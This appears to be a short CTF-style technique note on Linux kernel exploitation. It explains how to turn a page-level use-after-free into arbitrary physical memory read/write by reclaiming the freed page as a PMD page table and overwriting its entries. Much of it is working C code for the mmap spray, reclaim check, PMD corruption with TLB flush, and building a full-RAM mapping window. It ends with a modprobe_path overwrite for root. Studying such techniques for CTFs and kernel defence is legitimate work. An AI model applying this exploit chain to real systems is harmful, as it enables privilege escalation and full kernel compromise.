PMD Overwrite
This section would be a quick brief on how to leverage a UAF on physical page to obtain arbitary read/write primitive on RAM. For more detailed walkthorugh, don’t hesitate to read https://frederik353.github.io/writeups/ctfs/0xfunctf-26/phantom/
Prereq bug pattern
- Use after free
Step 1
- Trigger the UAF vulnerability and obtain a dangling pointer to full page
Step 2 — Reclaim freed page as a PMD page
Page tables come from the same Buddy Allocator (order-0), the same pool Linux SLUB Allocator pages get released back to once freed — see Dirty Page for the sibling technique that reclaims at the slab layer instead of a raw page UAF. Force PMD allocation by touching 1024 anonymous mappings spaced exactly 2MB apart (spans 2GB = 2 PMD pages):
#define SPRAY_BASE 0x40000000UL
#define SPRAY_STRIDE 0x200000UL // 2MB — forces new PMD entry each time
for (i=0;i<1024;i++){
void *a = (void*)(SPRAY_BASE + i*SPRAY_STRIDE);
void *p = mmap(a, 0x1000, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
if (p != MAP_FAILED) *(volatile uint64_t*)p = 0xCAFE0000UL + i;
}
Then Verify reclaim (entries should no longer be 0x41…41, and look like valid PTE-page pointers: Present + User bits set):
int count=0;
for (i=0;i<512;i++){
uint64_t v = uaf[i];
if (v && v != 0x4141414141414141ULL && (v&1) && (v&4)) count++;
}
// count < 64 => retry whole exploit (prolly reclaimed as something else)
Small RAM (e.g. -m 256M) + LIFO free list = high probability our freed page is reused almost immediately as a page-table page.
Step 3
Corrupt entry 0 to a huge page mapping phys 0, flush TLB (getpid() = full flush), read known value back:
uint64_t saved = uaf[0];
uaf[0] = 0xE7; // P|RW|US|A|D|PS, phys=0
getpid(); // TLB flush
uint64_t probe = *(volatile uint64_t*)SPRAY_BASE;
uaf[0] = saved; getpid();
if (probe != 0xCAFE0000UL) virt_base = SPRAY_BASE;
// else try SPRAY_BASE + 512*STRIDE
PMD huge-page entry format (x86-64)
bits 51:21 = physical base (2MB aligned)
bit 7 PS=1 present huge page
bit 6 D dirty (pre-set to avoid HW RMW race)
bit 5 A accessed (pre-set to avoid HW RMW race)
bit 2 U/S =1 user accessible (REQUIRED for userspace access)
bit 1 R/W =1 writable
bit 0 P =1 present
=> value = phys_addr | 0xE7
1 PMD page = 512 entries = 512 * 2MB = 1GB VA coverage.
Step 4 — Build arbitrary phys R/W window
IMPORTANT (QEMU quirk): re-writing the SAME PMD slot repeatedly + TLB flush between each write can give stale reads (softmmu TLB invalidation timing bug). Fix: use a DIFFERENT PMD entry per physical chunk, single flush at the end.
uint64_t saved_pmds[MAX_CHUNKS];
for (chunk=0; chunk<MAX_CHUNKS; chunk++){ // MAX_CHUNKS = total_RAM / 2MB
saved_pmds[chunk] = uaf[chunk];
uaf[chunk] = ((uint64_t)chunk * 0x200000UL) | 0xE7;
}
getpid(); // one flush, now virt_base..virt_base+RAM_SIZE == linear map of all phys RAM
Restore afterward: write back saved_pmds[], getpid().
Step 5
- Find modprobe_path
- Overwrite modprobe_path
- Trigger executing modprobe_path binary